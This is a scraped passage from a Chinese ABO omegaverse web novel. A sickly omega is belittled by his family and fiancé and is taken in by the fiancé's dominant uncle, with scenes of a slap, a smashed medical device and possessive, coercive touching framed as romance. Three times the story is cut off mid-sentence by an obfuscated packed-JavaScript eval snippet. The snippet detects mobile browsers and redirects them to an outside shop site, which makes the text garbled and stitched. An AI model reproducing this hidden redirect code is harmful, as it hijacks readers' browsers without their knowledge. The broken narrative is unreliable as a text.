他衣服湿的彻底,刚才下山的一路上有风吹过,他便一直止不住在打颤。 赵钦从后视镜看了眼后面,便悄悄打开了车内的暖风。 凌然慢慢感受到了一股暖意,他总算不再发抖了,极为感激地望了眼驾驶座的赵钦。 赵钦冲他笑了笑,眼神一转,便跟一双冷凝的凤眸对视上了。 赵钦头皮一炸,赶紧目视前方,悄无声息将后座隔板降了下来。 凌然整理了下自己的裤子,还偷偷把裤脚扯起来,看了眼戴在细白脚踝上的抑制器。 这个东西这么贵重,要是刚才被雨淋坏了可怎么好。 幸而抑制器屏幕亮了下,各项功能显示完好,凌然吐了口气。 没坏就好。 手机铃声忽然响了起来,凌然担心会吵到身旁的人,连忙侧过身子小声接起。 “喂,哥哥……” 凌溯的声音在寂静车厢内乍然传递出来:“你都在祭奠仪式上干了什么好事?!” 凌然心头一凛,便听见那头的人扬声质问道:“江家的电话都他妈打到我这来了,说你有信息素病,生不了孩子?” 凌然可以确定,身旁的人肯定能清清楚楚听见哥哥的声音。 他因为太过难堪而刻意压低了嗓音,语气都带了些讨好意味:“不是那样的,哥哥,我回家再好好跟你解释好不好?” 凌溯刚被蒋蓉莲一通电话扰得心烦意乱,哪里还能听得进凌然的解释:“你现在真是觉得要攀上江家这个高枝了,翅膀硬了,有什么事情都敢瞒着家里了是吧?啊?要不是江盛译他妈跟我说你带了抑制器,我们全家人现在被你蒙在鼓里!” 凌然瘪了瘪嘴巴,他在拼命忍住眼底泪意,就因为如此,他才不想告诉家里自己生病的事情。 在这个把Omega当成联姻工具的家里,没有人会关心他的病情,他们关心的是他还能不能给江盛译生出孩子。 凌然张了张嘴巴,正准备回答些什么,身侧却忽然有只手朝他伸了过来。 那只手骨节修长如玉,手背有隐隐青筋暴起,瞧着强劲又性感。 两指张开,便能将他两颊轻轻松松钳住。 凌然愕然瞪大了一双桃花眼,被人捏着脸颊转头过来,撞进一双幽深双眸中。 捏在他脸颊的指尖微微用力,在他被掌掴过的左脸上摩梭两下,他便因为疼痛而瞬间红了眼尾。 然而他被捏得合不拢嘴巴,半张着双唇,只能攥着手机呆愣愣望向身旁压迫强悍的男人。 江之屿打量着他,那个清晰可见的五指印还通红肿胀着,因为小Omega肌肤过于白嫩脆弱,这会儿竟然变得更加赫然醒目。 他忽然从小Omega手中拿过了手机,捏着掌心中柔嫩的脸蛋朝自己凑近,不动声色看着他。 手机那边的凌溯还在高声诘问,并不是真的想要个什么答案,只是单纯在向脾气乖软的小Omega发泄暴怒的情绪。 江之屿听了会,开口道:“他今晚不回去。” 听筒对面的人几乎是立即噤了声,反应过来后,怒火直冒,厉声问道:“你他妈的是谁?凌然手机为什么在你手上?” 男人语气平淡:“江之屿。” 此话一出,能听见凌溯在听筒外倒吸了口凉气,再说话时,语调就像是转了十八个弯。 “江总,不好意思,实在不好意思,我刚才真不是故意的,我这,我这不知道您在小然旁边,我那些话都不是冲您,您可千万不要误会啊。” 凌然第一次听到哥哥这样的声音,谄媚,讨好,极尽奉承。 凌溯并不知道对面现在是怎样的情形,只能小心翼翼询问道:“江总,您看方不方便让小然接下电话?我实在是很担心他给您那边添麻烦。” 江之屿望着一双雾蒙蒙,水盈盈的眼睛,只道:“明天我会派人送他回去。” 随后便直接挂断了电话。 凌然还没弄清楚他的话是什么意思,明天才送他回家,那今晚他要住在哪里? 车子已经在正堂外的草坪上停下,赵钦开了车门,给两人撑了把伞。 停在草坪的车已经不多,故友们都乘车径直下山离开了,雨势太大,江家其余人今晚都要留宿在老宅。 凌然没进正堂,江之屿让有些年迈的老管家领着他从偏院小路直接进了内庭院。 凌然一路跟在老管家身后,拐进了条幽深长廊,最后停在了一间屋子外头。 “凌先生,您今晚住在这里就好,有什么事情可以找我,我姓宋。”老管家冲凌然友善的笑了笑。 凌然忽然觉得他长得颇为眼熟,问道:“宋管家,您认识宋义吗?” 宋管家笑眯眯道:“宋义是我儿子。” 凌然恍然大悟,难怪两人连笑起来的弧度都一模一样。 宋管家又给凌然送来了干净的衣物,跟他交代了些房间内所需物品的摆放地,然后就礼貌的退出去了。 等他走后,凌然才仔细打量了圈这间偌大的客房,跟正堂是一体的中式古宅装饰风格,处处彰显着豪奢气息。 像这种年岁已久的老宅,不是有钱便可以随便修建起来的。 凌然先把抑制器摘了,放在床边。 抑制器虽然能防冷水,却不能防水蒸气,他迅速冲了个热水澡出来后,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他蹲在那里,伸手将瘦小的竹子扶起来,自言自语道:“别倒下呀,小竹子。” “你可以的,要坚持住呀。” 天际像被只无形利爪撕开了道裂隙,电闪雷鸣之间,雨大的快要看不清人。 凌然找了根树枝,替小竹子撑住了快要倾斜的躯干后,这才站起身来。 可他刚准备回屋,却猛然瞧见不远处的竹林边隐约站着两个模糊黑影。 他被吓得心头一跳,觉得有些不对劲。 暴雨的夜间怎么会有人站在外面聊天? 他慢慢走近了些,在一道划破黑夜的闪电之下,看清楚了那两道同撑一把伞,在雨夜里深深相拥的身影。 是江盛译和尹楚。 他登时长大了嘴巴,用力吸进了一口潮湿的冷气。 惊雷声在头顶闷然炸裂开来,那两道身影像是也注意到了靠近过来的人。 尹楚立即推开江盛译,神色惶恐的回头望去。 可是刚才那个地方空空荡荡,哪里有什么鬼魅身影。 江盛译眸中满是痛苦之色,拉着他的手臂又将他紧紧拥进了怀里。 “楚楚,你说,我到底该怎么办才好?我喜欢的人是你,我怎么可以抛下你跟别人结婚?我做不到,我做不到!” 尹楚只是轻轻拍着江盛译的后背安抚,眼底却是一片清明。 难道刚才真的是自己看错了。 为什么那一瞬间,他好像在雨幕中看到了江之屿的身影? 就在两人几步之外的密竹林后,那把被骤雨击打的摇摇欲坠的小伞握在了另一只大掌手中。 而柔软娇弱的Omega毫无阻隔,后背被牢牢禁锢在一个宽阔强壮的胸膛前。 一条强健有力的手臂横在他眼前,带着微冷潮气的手掌紧紧捂住了他嘴巴。 15.第 15 章 凌然心跳如雷,背后有道酥麻嗓音响在他耳畔。 “别叫。” 嘴巴都被人牢牢捂着,他就算是想叫也发不出声音的。 凌然用力点点头。 那只捂在他嘴上的手终于松了些,指尖似乎有些贪恋柔嫩唇瓣的触感,轻微摩梭了两下红唇,才转为搂紧了细腰。 凌然双脚忽然腾空,被人用一条手臂箍着腰就轻松抱了起来。 地上满是积水,高大的enigma撑着那把小伞有些遮挡不住暴雨。 他把小Omega像提什么物品一样,提着踩过地上的雨水,带回了房门前。 凌然被放回地上的时候还没反应过来,他低头,自己的鞋上只有刚才不小心踩到的一点点水渍,而对面人的裤腿都湿漉漉的在滴水。 “小叔……” 他眼中蒙着层潮气,潋滟的桃花眼尾有些微微洇红。 不仅如此,白皙脸颊上除了那个红通通的指痕,还透着不太正常的红晕。 江之屿抬手摸了摸他的脸,嫩生生的,有些烫。 “发烧了。” 凌然还是反应迟钝的看着他,自己也摸了摸脸颊,确实很热,而且他今天下午迷迷糊糊睡过去的时候,身上也一阵阵发冷。 可他此刻有些弄不清楚这热潮的来源,他当着enigma的面,拽着自己的裤脚往上提,一小截白的晃眼的脚踝便露了出来。 他眼神纯澈又无辜,小声道:“我明明带了抑制器的。” 怎么还会起热。 江之屿忍不住勾了下唇:“不是发情。” 白天被雨淋了个透,生病也是正常。 凌然晕乎乎的,只知道被人搂着腰进了房间,躺回那张实木雕花双人床后,感觉更冷了,一骨碌便自觉钻进了被子中。 他身子越来越烫,烧得意识模糊间,有人托着他的头,喂他喝了好大一杯苦药。 他用舌尖推拒着想吐出来,却被冷冰冰的杯口压住唇舌。 低醇蛊惑的嗓音带着极强压迫,不容抗拒的命令:“咽了。” 凌然紧闭的双眸都被逼出些湿润泪意,迫尽数吞咽了下去。 药效很快上来,他又迷糊的睡了过去。 江之屿过了会从房中出来,转身准备走进隔壁房间。 宋管家是个有眼力的,就把凌然安排在了他旁边的客房。 刚要推门进去,背后就传来轮椅滚动的声音。 江之臣撑伞靠近,眉眼间一片阴郁之色:“是你让人把凌家那小儿子接过来住的?” enigma从不需要任何人的质疑和审问,江之屿垂眸凝视着他:“是。” 江之臣脸色一变,扬声问道:“你到底想干什么?盛译马上就要和他结婚了你知不知道?” “不一定。”江之屿开口道。 “你说什么?!”江之臣不知是想到了什么,震惊不已的望着面前强悍到目空一切的人,“之屿,我只问你一件事,你是不是还一直想报复二房?” “二哥,”江之屿眸色沉静的望着他,“如果当年你的车祸也是有人故意为之,你会不会报复?” 江之臣微微愣怔住,他原本也是个意气风发的alpha,只是五年前的车祸后,他双腿便废了,医生说再站起来的可能性很小,自那之后他便性情大变,集团的事情不再管了,整日阴云密布,郁气笼罩。 可他出车祸只是场意外,警察也调查过,并没有发现任何异常。 “我和你不同,你母亲当年病重,若不是忽然知道了噩耗导致她病情恶化,她不会离开得那么早……” 江之屿打断他:“你最近康复的怎么样?” “还是老样子,没什么用,你也不必再给我找什么医生,那个宋医生以后不用再让他来了,”江之臣道,“只不过是浪费时间。” 江之屿并不理会:“我让人给你约了欧洲一家私人医院的医生,看诊时间定在下周。” “我说了不用!”江之臣将手中的雨伞用力一掷,“我以后就是个瘸子了,你明不明白?!不管找谁看结果都是一样,站不起来就是站不起来!一个瘸子还有什么好治的?还对江家有什么利用价值?我只不过就是个废人而已,是什么都做不了的废人!” 他越说越歇斯底里,好在雨势够大,能将所有不忿抱怨尽数挡在雨幕中,不会传扬出去。 而隔壁的小Omega正昏睡着,也不会听到。 发泄了一通后,江之臣眼眶微红,恢复了些阴郁冷色,声音又沉了下来,说道:“欧洲我不会去的,推了吧。” 江之屿淡笑一声,俯身把雨伞捡起来,抖落两下,插在轮椅上。 “徐观意会陪你。” 说完,他不再过多言语,径直进了屋。 * 凌然睡了一觉起来,浑身舒爽了许多,他坐起身来,脑袋终于不那么迷糊了。 窗外雨下了一整夜,此刻总算是停了。 雨后竹林更显翠绿清新,深深呼吸一口,空气中还带着些湿漉漉的潮气。 凌然从屋中出来后,往左右两边紧闭的房门看了看。 他昨晚睡得迷蒙之际,好像听见门外有人说话,可是他没能听得清楚,然后便听到隔壁房门响了声。 他有些好奇,旁边是谁的房间? 宋管家笑眯眯的出现了,又亲自给他送了餐来。 “凌先生,现在已经是十点钟了,您看要不要现在用餐?” 凌然点头称好,又朝一旁望了眼。 宋管家及时解释道:“隔壁是江总的房间,但他今天早上已经出门了,应该是去公司了。” 凌然又点了点头,心想他又没问,宋管家怎么就主动告诉他了。 凌然坐在一边喝着粥,宋管家还站在他身旁伺候着,搞得凌然很是不好意思。 “凌先生用完之后,会有人送您回家,还有这个,也请您一并带上。” 宋管家递过来一个小罐,里面是透明的不知名液体。 凌然茫然问道:“这是什么?” “您忘了,这是昨晚江总给您上药时候用的软膏,对于红肿伤处最管用了,基本涂一次就能消下肿去,用在哪里都可以的。” 凌然摸了摸自己脸颊,好像确实不肿了,也不疼了。 昨晚,真的是江之屿一点一点涂着药膏给他上的药吗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13463914|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凌然从未被人如此关切照顾过,他攥着那罐软膏,紧紧揣进了自己口袋里。 吃完饭后,宋管家领着凌然从内庭院出来。 宋管家在这老宅里工作了几十年,有些事甚至比这宅里的某些主人看的还清楚。 他对凌然态度极其温和有礼,边走边给他介绍内庭院这些山水花鸟、梅兰竹菊的来源和设计。 凌然一直乖乖巧巧听着,在穿过那片葱郁竹林时,他却不由得分神了片刻。 昨夜暴雨中,在这竹林后紧紧相拥的两道身影在他脑海中挥之不去。 江盛译亲口说了他喜欢的人是尹楚,也说了他并不想和自己结婚。 像是一直悬在心口的刀子终于落了地一般,虽然血肉被刀锋刺的一片伤痕模糊,但好在他想求证的事情有了个确切的结果。 江盛译不爱他,从一开始就不爱。 他仿佛成了阻隔在江盛译和尹楚之间的障碍,也是害的他们有情人不能终成眷属的罪魁祸首。 反正蒋蓉莲也嫌弃他得了病,那两家的婚约确实可以就此解除了。 他喜欢江盛译的这两年,就像是在一个舞台上自娱自乐的小丑。 而江盛译在舞台幕后牵着尹楚的手,应该看的很开心吧。 既然知道他们才是情投意合的一对,那百分百契合的信息素匹配度也就成了个笑话,成了束缚住他和江盛译的枷锁。 不如早点让双方都自由。 想通了这一点后,凌然心底里多了分清明和坚定。 赵钦正在草坪上等着,看见来人后,连忙跑到莱斯莱斯车旁,打开了后座的门。 车内无人。 凌然冲他道了声谢,随后坐了进去。 赵钦开车带他往山下走的时候,正巧有辆车从背后驶来,赵钦让了让道,那车便迅速贴着劳斯莱斯车身而过,急速朝山下方向奔去。 凌然认出来那是江盛译的车,而刚才两车短暂交汇的时候,他看见了坐在副驾驶上的尹楚。 赵钦冲着远去的车屁股暗暗骂了声:“知道江总不在车上才敢这么拽,辣鸡。” 劳斯莱斯很快在凌家门口停下,凌然下了车,又对赵钦道:“谢谢您送我回来。” 赵钦惶恐地不轻,冲他连连鞠躬回礼,最后不忘说道:“对了凌先生,您别忘了下周三要去集团进行终面。” “好,我记得的。”凌然点头。 等到劳斯莱斯开走后,凌然才觉出些不对。 赵钦只不过是江之屿的传话筒罢了。 难道自己会被人力总捞回终面,也是江之屿授意的? 他迈上台阶,打开家门。 家里气氛静谧的近乎诡异,凌然刚一抬头,便看见姐姐凌沫神色严肃,正站在玄关处等他。 “小然,你总算知道回来了。” 凌溯的声音立即从里面传了过来:“回来了还不赶紧滚过来!” 凌然心口一紧,垂着头走到了客厅内,在看清楚沙发上坐着的两人的后,他指尖都忍不住轻轻颤抖起来,脸颊上仿佛又开始火辣辣的痛着。 蒋蓉莲和蒋姨母噙着股尽是嘲讽的冷笑,朝他望过来。 16.第 16 章 凌然看得出来,哥哥的脸色不怎么好看,恐怕不知道刚才蒋蓉莲两人是怎么添油加醋跟哥哥说的。 见凌然已经回来,沙发上的两人便起身要告别。 送着她们到了门口,蒋蓉莲还不忘回头轻蔑的打量凌然一眼,说道:“小然呐,你生病的事情不该瞒着我们,但是我已经跟你家里人商量过了,事已至此,也只能听医生的,快点把病治好,别耽误了你和盛译的婚礼。” 她原本是要来凌家大闹一场,顺便退婚的,但是家里的老头子不同意,说什么凌家在东南亚等地区还是有一定的影响力,将来对儿子拓展江氏海外市场一定大有助益,所以这婚万万退不得。 她也只能来说几句冠冕堂皇的关心话了。 蒋姨母皱着鼻子说道:“是呀是呀,尤其是那什么信息素病,可得快点治,不然以后会影响生育的,Omega要是不能生孩子,那江家还要你干什么。” 蒋蓉莲想到了什么似的,补充道:“对了,你那个抑制器以后还是少带,身体不舒服多打几针抑制剂就是了,带着那么个东西要是在外面让人看见了,还以为我们江家的媳妇有什么传染病呢。” 凌溯忙开口道:“您放心,我这就让他摘了,以后也绝对不会让外人看见。” 蒋蓉莲听见凌溯的保证,这才安心离开了。 等到人走后,凌溯便骤然变了脸色,怒声对凌然命令道:“还不快点把你那个破脚环摘下来!当着那么多人的面叫人看见了,你还不嫌丢人?!” 凌然低着头站在哥哥面前,听了这话却小心翼翼地朝后退了两步。 他摇摇头,不肯摘。 那只是个用来抑制信息素的仪器而已,他也只是生病了而已。 怎么在他们口中,他就好像是犯了什么十恶不赦的罪过一般。 他们看重的面子,比他的身体健康还重要。 凌溯见他居然还敢抗拒,上前直接把他一把推倒,强行将他脚踝上的黑色金属仪器摘了下来,随后当着他的面,一脚将显示屏踩得稀碎。 “不要——” 凌然眼眶一热,拼命想从凌溯脚下将那个支离破碎的黑色脚环拼凑起来,可是显示器的玻璃屏幕碎了满地,他怎么都捡不起来,只有眼泪“啪嗒”一声,滴落在冰冷的地砖上。 凌溯冷哼一声:“就是个破脚环而已,坏了正好,以后也别带了。” 趴在地上瘦瘦小小的身影没动,忽然嗓音很轻的说道:“哥哥,姐姐,我不想结婚了。” 话音刚落,凌溯脸色就骤然一变,拧着眉质问道:“你说什么?!不结婚?你以为你们之间的婚约是儿戏吗?说不想结就不结了?” 凌然指尖忽然感觉到一阵尖锐刺痛,他垂眸一看,原来是手指不小心被锋利的玻璃碎片划了道小口子,钻心地疼。 可无人在意。 凌沫也蹲下身子,劝说道:“小然,难道是你想和江家退婚?最近爸妈都在愁凌氏资金周转困难的事情,就等着你和江盛译结婚后,二房能帮衬着咱们点,当然了,江盛译也能靠凌氏在东南亚的影响力顺利挺进海外市场,这对我们两家来说是双赢,所以为了凌家,你以后可千万别再说什么退婚的事了。” 凌然眼前模糊成了一片。 所有人看重的都是利益,并没有人真正把他放在心上过。 哥哥姐姐是,爸爸妈妈是。 江盛译也是。 “别管他,让他自己好好想想自己刚才说的蠢话。”凌溯一边说着,一边拉着凌沫去了书房商讨工作。 凌然擦了把眼角,捧着那个破碎的抑制器从地上爬起来,沉默的上了楼。 他身体根本没好利索,没了抑制器,夜里就又起了热。 只是这次没有人在一旁告诉他,他到底是发烧,还是发情。 他迷迷糊糊从床上下来,自己吃了退烧药之后,不放心,又翻找到药盒,往手臂上推了针抑制剂。 冰冷的液体注入滚烫的身体,纤白的脖颈高高扬起,宛若姿态优美的天鹅在仰颈高鸣。 随后才骤然脱力,奄哒哒的垂了下来。 * 凌然在卧室昏昏沉沉了三天,期间只靠着几支营养剂支撑。 凌溯和凌沫天天早出晚归,没人发现他一直没出房门。 倒是江盛译,破天荒的给凌然主动来了消息。 看见手机上显示的昵称,凌然缩在被子里,细白的指尖在屏幕上戳戳戳,把备注由【亲亲阿译】改成了【江盛译】。 【江盛译】:今晚我去接你,公司有个聚会你跟我一起参加,顺便叫上你哥。 【不吃葡萄】:我不去了,我今天不太舒服,哥哥也不在家。 江盛译看着回复,一时之间有些愣怔。 小Omega三天没主动找他了不说,现在还学会了拒绝他的邀请? 从祭奠那天之后,凌然就很是不对劲。 【江盛译】:我跟你哥也说过了,他会去参加,你提前准备好,晚点我过去接你。 凌然叹了口气,知道既然哥哥去了,那他一定是躲不过的,便只得屈指回复。 【不吃葡萄】:好。 晚上江盛译来接着凌然,两人一起赶往海市最为奢华的会所。 一路上凌然一反常态,安安静静看着窗外,不发一言。 江盛译看了眼他身上宽松的运动服,有些嫌弃的蹙眉道:“不是让你好好准备了吗,怎么就穿这个出门。” 凌然唇色有些苍白,脑袋还有点迷糊,只是轻声道:“没来得及换。” 江盛译瞥他一眼,不知道他在闹什么情绪,也没有想要哄他两句的意思。 停下车后,两人一前一后进了会所。 包厢开了两间,大的那间全都是江氏各部门的经理和员工,这次的聚会是公司内部举行的,原本江盛译也没打算带凌然来,可他正好想借此机会拉拢凌溯跟自己团队的人认识下,以后也好来往合作,所以又在隔壁开了个小包厢,只带了经理甲乙和几个亲信过去坐。 至于凌然,不过是个陪衬罢了。 刚一走进小包厢,尹楚就笑着迎了上来。 “小然来了,快过来坐。”他笑得温柔友善,拉着凌然在自己身旁走。 凌然想要拒绝,却被江盛译按着肩膀坐下了,眼神中满是别不识好歹。 他坐在了尹楚身旁。 听着尹楚和江盛译谈论聊天,周围的几个人也都在谈论工作和业内,他听不懂也插不上嘴,便自己默默的低头喝果汁。 酒量不好,他在外面并不敢喝酒。 没一会,凌溯就来了。 凌然乖乖起身给哥哥让了个位置,凌溯也没客气,直接坐在了尹楚和江盛译中间,几人有说有笑,聊得颇为投机。 凌然见桌上早已经没了空座,便给自己倒了慢慢一大杯果汁,坐到了旁边的沙发上去,小口小口地喝着。 包厢里的那几个人聊到兴致处,笑声大的震天响,吵得凌然脑袋更晕了,觉得心烦意乱,很想回家倒头继续睡觉。 他脸颊有点发热,拿冷冰冰的果汁放在脸上降温。 不知道无聊的等了多久,桌上那几人才终于喝完聊完。 凌溯还有事情要先回公司,就提前离开了。 凌然本来想跟着哥哥一起离开,却被凌溯拒绝了。 “让江盛译送你回家,当然你能有本事跟他回家更好。” 凌然看了眼正在跟尹楚说笑的人,也只好跟在两人身后一起出了小包厢。 隔壁的大包厢结束的更早,几人路过时,里面已经空了,只剩下服务生正在清扫垃圾。 凌然往里面望了眼,却看见了一道高大宽阔的背影,正背对着包厢的门,站在窗户边上打电话,修长冷白的手背上透着点点淡色青筋,配着一身裁剪得体的名贵西装,有种要命的性感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13483141|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸引。 他也只是略略看了下,便立即转开了视线。 赶紧晃晃小脑袋,心想自己果然是被烧晕了头,不然怎么会看见个身高腿长的背影,就觉得像江之屿呢。 三人已经走到了会所门口,一股潮湿冷气扑面而来,外面竟然不知道何时又下起了大雨。 “我送你回去。”江盛译对尹楚道。 尹楚笑着看了眼凌然,说道:“可别,小然在这呢,可别让小朋友误会,小然,你放心,我跟盛译只不过是从小就认识罢了,我们之间什么也没有,你可千万别吃醋啊。” 他对两人说道:“我自己回去就行,你们也快走吧。” “行了,用不着跟他解释,”江盛译有些冷淡的看着凌然,“等会先送楚楚回去。” 说完,江盛译便去将车开过来,只剩下凌然和尹楚两人站在台阶上躲着雨等。 凌然轻轻嗅了下微冷的雨气,这个夏天好像雨水特别多,怎么他每次出门好像都会下雨似的。 凌然晕晕乎乎地想,真是有点倒霉。 身旁的人看见车子已经在不远处朝着这边开过来,忽然故作亲昵的上前挽住了凌然的手臂,用只有两人能听见的声音说道:“那天晚上,你是不是都看见了?” 凌然脚步猛然顿住,他想到了那个暴雨如注的夜晚,竹林后纠缠在一起的两道身影。 他有点不敢置信地扭头看着尹楚,唇瓣微微张着,却不知该说些什么。 难道尹楚那天晚上看到他了? 不可能的呀,他和江之屿明明都藏得很好,怎么会被尹楚发现。 而且尹楚为什么知道被他撞见了,还这样一副无所谓的样子,就像是故意要让他看见的一样。 凌然脑袋里乱得不行,他身体温度还在隐隐升高,有些难受,便将手臂从尹楚怀中抽了出来。 “我……” 可谁知他话没说完,原本好好站在他面前的尹楚却忽然身子一滑,直接从高高的台阶上摔了下去,扑进了一滩雨水中。 从车内的角度看,刚才就像是凌然用力将尹楚甩下台阶的一般。 凌然望着满脸痛苦地倒在雨地中的人,抽回来的那只手臂还呆愣愣的僵在半空,不知该如何是好。 他确信自己没有用那么大的力气,尹楚为什么会从台阶上摔下去他也不知道。 可江盛译急匆匆打开车门,径直跑向趴倒在大雨中的身影。 尹楚痛的面色都扭曲起来,他的脚踝像是摔坏了,动弹不了,江盛译满脸疼惜地将他从地上抱了起来,随后用最冰冷刻骨的痛恨眼神怒瞪了台阶上的凌然一眼,就直接开车带着尹楚消失在了雨夜之中。 凌然头晕目眩,呼吸都有些不稳起来,他努力坚持了一整晚,这会儿才终于有些坚持不住,身子踉跄了一步,也险些从高高的台阶上栽倒下去。 可腰间忽然多了双强壮有力的手臂,箍着纤细柔韧的腰肢往后一转,便将身材娇小的Omega直接打横抱进了怀中。 周围潮湿寒冷的雨意被温热宽阔的怀抱隔绝开,瘦小的身子牢牢嵌进一个能将外界完全阻隔的充满安全感的胸膛中。 凌然脑袋晕得更厉害了些,眼前似乎天旋地转,连头顶那一小片冷峻的下颌都在随着暗光一起打着转。 细细白白的手指伸过来,在男人侧脸上试探性的摸了摸。 热热的,温温的。 是个大活人。 原来他没看错呀,确实是江之屿。 那只捏在纤细大腿上的手掌用了点力气,嫩乎乎的软肉便从指缝间挣扎着泄出来,挤压成了修长指缝的形状。 摸在下巴上的小手只是轻微的触碰了一下,就跟个小动物似的瑟缩着躲了回去。 江之屿感受到怀中人明显发热的体温,目光在裸露在外的纤白脚踝上望了眼。 上面空空荡荡,一片白净。 “你的抑制器呢?” 17.第 17 章 被人如此呵护的抱在怀中,让凌然心头有股委屈铺天盖的席卷上来。 可他抽了抽鼻子,没说话。 或许是这几日断断续续的起热,退热,起热,退热,真的要把他脑子烧糊涂了。 他知道自己不聪明,很多时候都反应迟钝,甚至有点笨。 Omega生来就是这样一副需要伴侣疼惜的娇弱模样,他想故作坚强,可是只要被人抱着哄着问上一句,那副像是蚌壳般坚韧的外表便会生出裂隙,露处底下软糯白皙的嫩肉来。 江之屿瞧着怀里人这样低垂着眉眼可怜兮兮的样子,心中稍作猜测便也能想到都发生了些什么。 不远处赵钦已经将黑色劳斯莱斯开了过来,水花在台阶下渐起层层涟漪。 赵钦撑开伞走上台阶,在看见江之屿抱着的人之后,已经有些见怪不怪了,只是沉默的将黑色大伞稳稳撑在两人头顶。 江之屿抱着凌然上了车。 车门关上后,凌然缩在真皮座椅上,脸颊比刚才还要红上几分,眼中水光淋漓,怯生生的挑着洇红的眼尾看着身侧的人。 江之屿上车后便播出去个电话,那边的秘书诚惶诚恐的接了起来。 “去查查东南亚那个项目有没有凌氏海外投资。” 秘书忙道:“江总,那个项目是盛译总垂直管理的,项目的具体资料都在二公司事业群系统内保管,他们并没有上报总部。” 江氏旗下分公司众多,每个事业群下又都有上百个小公司,若每个公司的资料都要尽数传到总部来,那总部系统负担过重,技术部门该跳楼了。 因此每个事业群都有各自的权限管理底下公司,只有项目总资金达到S级和A级的才需要上报到集团总部。 东南亚的合作案开始时定级是A级,按说早该将资料上传总部,且任何动向都需要直接跟江之屿汇报。可江盛译贪心不足,一心想摆脱江之屿的掌控,所以命令手下人不必事无巨细都像总部汇报,具体资料也不必上传。 江之屿轻笑了下,忽然伸手,攥住了垂在座椅下的那只纤白小腿。 凌然感觉到自己那条腿被人抬到了座椅上来,两手撑在身侧,下意识地想要将腿收回来。 可那五指强横地锁着他,禁锢着他,就算是要将他的腿直接掰开,他也没有能够反抗的力气。 指尖在Omega柔腻的肌肤上捻了两下,就连脚踝处都带着些隐隐灼烫,不知道他体内温度会不会更高一些。 江之屿一手攥着手机,对着那边冷静沉声吩咐道:“明早让他们的盛译总亲自来跟我汇报。” 说完,电话便挂断了。 车厢内重新陷入一片静谧,凌然听见了刚才那通电话的内容,可他却不怎么明白江之屿让人查凌氏投资有没有什么意图。 他此刻全身上下的感官都聚焦在了脚踝上,原本佩戴着冰冷抑制器的地方,现在被一只铁钳般的手掌牢牢掌控。 他今天好好带了阻隔贴,出来的时候也没忘记多喷了几下阻隔剂,所以并没有什么玫瑰香葡萄信息素泄出来。 潮湿泥泞的空气中,只能闻得到身旁男人身上隐隐传来的轻淡酒味。 聚会不喝酒是不可能,但江之屿只喝了一点,所以那点微薄的酒气并不难闻。 况且enigma的信息素本来就是龙舌兰烈酒。 凌然只是轻轻嗅着那点酒意,不知道什么时候眼角溢出些晶莹。 “哭什么。” 一只手伸过来,大掌覆在Omega小巧精致的脸蛋上,将那点湿润的泪意抹了去,似乎因为手感太过轻软柔嫩,像剥了皮的葡萄,便又任凭指尖在透红的眼尾处揉按了两下。 自从懂事以来,没人给凌然擦过眼泪,他总是自己默默的哭完,然后抹干净泪痕,装做什么事都没有发生的样子。 可那只手越是想擦净些,小Omega的泪水就越是汹涌难挡。 最后江之屿干脆攥住他那只脚踝用力一拉,将人轻松扯到了自己面前来。 凌然就那么保持着双腿被掰开的姿势,朦胧着一双泪眼,望着面前忽然放大的一张俊脸。 enigma生来仿佛就是强者,即时是还未分化的时候,也从不会将自己的弱点展现在任何人面前,他们像是从没有弱点软肋,成年之后,一直处在权力中心和众人敬仰的地位。 所以不懂,为什么Omega会这么能哭。 体内有这么多水么。 “好了,”江之屿单手捧着他的脸颊,“不哭了。” 凌然努力想把泪意憋回去,憋得自己抽噎了两下,他头晕脑胀的,恍惚间只能勉强看清面前男人幽深的一双凤眼。 他像是在自顾自宣泄情绪,委屈不已地说道:“抑制器,坏,坏了……” “我,我还没有攒够钱……” “他们都说,说我有病……” “刚才,刚才我不是故意要推尹楚……” “盛译喜欢的人,不是我……他不会喜欢我的……” “我也不要再喜欢他了……” “我,我不要嫁给他了……呜……” 脑袋晕得厉害,凌然渐渐失去了意识,在闭上双眼的那一瞬间,他才听见一道冷沉的嗓音似是蛊惑般在耳旁开了口。 “那就退婚。” * 再睁开眼睛已是第二天中午。 凌然的体热已经退了,他恍恍惚惚的从床上坐起来,察觉到这并不是他自己的卧室后,顿时恢复了清明意识。 大床侧边便是一扇巨大空明的落地窗,外面是一望无际的蔚蓝大海。 这里是滩外别墅。 凌然:“!” 他揉着脑袋,一头栽回被子里,悔恨不已地咬着天鹅绒被。 昨夜他究竟是怎么跟着江之屿回家的,怎么一点都不记得了。 他又发烧了,身体特别难受,然后在那辆劳斯莱斯上,他不管不顾地痛哭了一场。 只隐约记得,好像有人在耳边跟他说退婚。 房门忽然被人敲响,凌然顶着一头凌乱像鸟窝似的头发,认命地从床上下来去开门。 门外站着 